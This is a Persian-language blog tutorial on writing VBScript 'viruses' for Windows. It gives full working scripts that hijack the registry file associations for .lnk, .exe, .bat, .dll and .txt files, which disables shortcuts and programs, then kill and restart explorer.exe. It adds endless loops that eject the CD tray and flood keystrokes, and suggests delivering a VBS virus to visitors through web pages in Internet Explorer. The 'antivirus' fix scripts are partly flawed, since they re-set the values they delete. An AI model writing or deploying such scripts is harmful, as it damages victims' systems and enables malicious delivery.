- يكشنبه ۷ آذر ۹۵
- ۱۵:۵۲
تو این آموزش ها ما می خوایم به روش های مختلف نوشتن ویروس های VBS بپردازیم
WSH* یکی از تکنولو*ی های اسکریپت نویسی در ویندوز می باشد .دلیل نامگذاری آن به عنوان HOST این است کهبه زبان های برنامه نویسی آشنایی ندارد و به همین خاطر مایکروسافت آن را Language Agnostic می نامد .
WSH *از موتور زبان های برنامه نویسی VB , C , C++ استفاده می کند که آن را با نام VBScript و Jscript* استفاده می کند . اجرا کننده ی این کد ها فایلی با نام Wscript.exe می باشد .
اگر شما به زبان برنامه نویسی Visual Basic* آشنایی داشته باشید می توانید خیلی ساده با VBS هم برنامه هایی را که برای کارتان مورد نیاز است را بنویسید .
در این درس ما می خواهیم یک ویروسی را بنویسیم که از اجرای فایل ها با پسوند مشخص جلوگیری کند و در نهایت ژروسه ی explorer.exe را یک بار end* کند و دوباره آن را اجرا کندد .
اگر ما بخواهیم این کار را به صورت دستی انجام دهیم باید موارد زیر را اعمال کنیم .
به شاخه ی زیر از رجیستری ویندوز می رویم
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\FileExts\.lnk\UserChoice
سپس در این قسمت یک مقدار با نام PROGID می سازیم و مقدار آن را Applications\explorer.exe و یا هر برنامه ی دیگری می گذاریم
و در نهایت پروسه Explorer.exe را یک دور end می کنیم و آن را دوباره Run می کنیم .
اما اگر بخواهیم مراحل بالا را از طریق زبان VBS بنویسیم بسیار ساده تر می شود .
در اینجا ما فایل هایی که با پسوند LNK هستند را غیر فعال می کنیم . در صورتی که این نوع فایل ها در ویندوز غیر فعال شود هیچ shortcutی در ویندوز قابل اجرا نمی باشد و از بین می روند .
از کد زیر جهت انجام مراحل بالا استفاده می کنیم
تغییر در رجیستری و ساخت مقدار PROGID*و انتصاب مقدار Applications\explorer.exe به آن .
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\UserChoice"
objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
و برای اینکه بخواهیم پروسه ی Explorer.exe*را هم Restart کنیم از کد زیر استفاده می کنیم .
کد:
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
&"{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'explorer.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Dim oShell : Set oShell = CreateObject("WScript.Shell")
'oShell.Run "taskkill /im explorer", , True
WScript.Sleep 3000
oShell.Run "explorer.exe", , True
اینجا ما می خوایم کمی کد رو گسترش بدیم و فایل های exe و bat, , com و ... رو هم بهش اضافه کنیم .
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\UserChoice"
objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'----------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat\UserChoice"
objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'----------------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.dll\UserChoice"
objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'--------------------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\UserChoice"
objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
خوب حالا ما می خواییم یک آنتی ویروس برای این ویروس بنویسیم
برای اینکار کافیه کلیه ی کد های مراحل ویروس را نگاه کنیم و کد ها را معکوس کنیم .اما چند مطلب وجود دارد .
شما کد MSGbox “BHG” را داخل یک فایل با پسوند VBS بگذارید و آن را اجرا کنید می بینید که پیغامی با نام BHG ظاهر می شود حالا وارد taskmgr شوید و می بینید که در لیست پروسه ها فایلی با نام Wscript.exe وجود دارد که با end*کردن اون این ژیغام هم از بین می ورد . اگر ما فرض کنیم که یک ویروس Vbs وارد سیستم ما شده ما اول از همه باید از طریق پروسه ی این ویروس که همان Wscript.exe هست محل آن را شناسایی کنیم و سسپس با خواندن محتویات کد معکوس آن را انجام دهیم .
آنتی ویروس بال به شکل زیر بوده
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\UserChoice"
objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'--------------------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\UserChoice"
objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'----------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat\UserChoice"
objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'----------------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.dll\UserChoice"
objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'--------------------------------
HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:\\"& strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\UserChoice"
objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
ValueName = "Progid"
strValue = "Applications\explorer.exe"
objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
'==============================
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
&"{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'explorer.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Dim oShell : Set oShell = CreateObject("WScript.Shell")
WScript.Sleep 3000
oShell.Run "explorer.exe", , True
'===============================
آشنایی با روش های مختلف Script نویسی در ویندوز برای وقت هایی مناسب هستند که ما می خواهیم یک برنامه ی خاص را بنویسیم اما هیچ نوع کامپایلر زبان برنامه نویسی بر روی سیستم نصب نمی باشد .
اما اگر از دیدگاه علوم هک و امنیت بخواهیم نگاه کنیم جهت bypass*کردن اقدامات امنیتی ایجاد شده بر روی ویندوز و یا جهت نوشتن یک آنتی ویروس برای ویروس داخل سیستم می توان از آنها استفاده کرد .
در زیر سعی میکنیم چندین ویروس به زبان vBs را بزاریم و طریقه مقابله با آنها را نیز شرح دهیم .
__________________
فایل ها با نام BHG.VBS ذخیره بشه
برای از کار انداختن اونها می تونید Wscript را در Taskmgr را End نمایید .
=======================================
=======================================
=======================================
این ویروس میاد هر 5 ثانیه یک بار سی دی رم رو باز میکنه
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
این ویروس میاد چراغ Caps lock رو روشن خاموش میکنه
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
---------------------------------
این نوع ویروس ویندوز رو دیوانه میکنه رو یاهو هم کر میکنه pm های سریع میده
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
---------------------------------------
این ویروس کلمه ی BHG رو تو pm یاهو و یا Notoad و Word و ... می نویسه کلا
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "BHGl."
loop
همون طوری که میبینید بد افزار های بالا همگی از حلقه ها استفاده می کنند و هیچ بخشی از ویندوز رو تغییر نمی دهند پس فقط کافیست که پروسه Wscript.exe را یک بار End کرد
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
&"{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'explorer.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Dim oShell : Set oShell = CreateObject("WScript.Shell")
'oShell.Run "taskkill /im Wscript", , True
WScript.Sleep 3000
oShell.Run "explorer.exe", , True
کد:
اما اینکه چطوری ما از کد های vbs در صفحات وب استفاده کنیم
این کار رو میشه کرد اما فقط در IE میشه کد ها رو اجرا کرد اینه که میگن از این IE استفاده نکنید . اما گوش که نمیکنید :D
من اگه بخوام که وقتی فردی وارد صفحه ما میشه پیغامی به اون داده بشه به شکل زیر عمل می کنم
برای اینکه بگیم ما داریم از زبان VBS استفاده می کنیم باید از مقدار زیر در بدنه صفحه استفاده کنیم
http://l4tr0d3ctism.persiangig.com/vbscipt%20in%20web.txt
به دلیل اینکه بلاگفا استفاده از این کد ها رو تهدید میدونه \س اونا رو فیلتر کرده و من مجبورم تو فایل Txt بزارم
خوب شما می تونید از این طریق یک ویروسی رو وارد سیستم فرد کنید و اون رو روی سیستمش اجرا کنید
اما فقط در صورتی که اون نفر از IE استفاده کنه
ما بقیهی فرامین استفاده از VBS مانند خود ویژوال بیسیک هستش
- برنامه نویسی
- ۸۸۲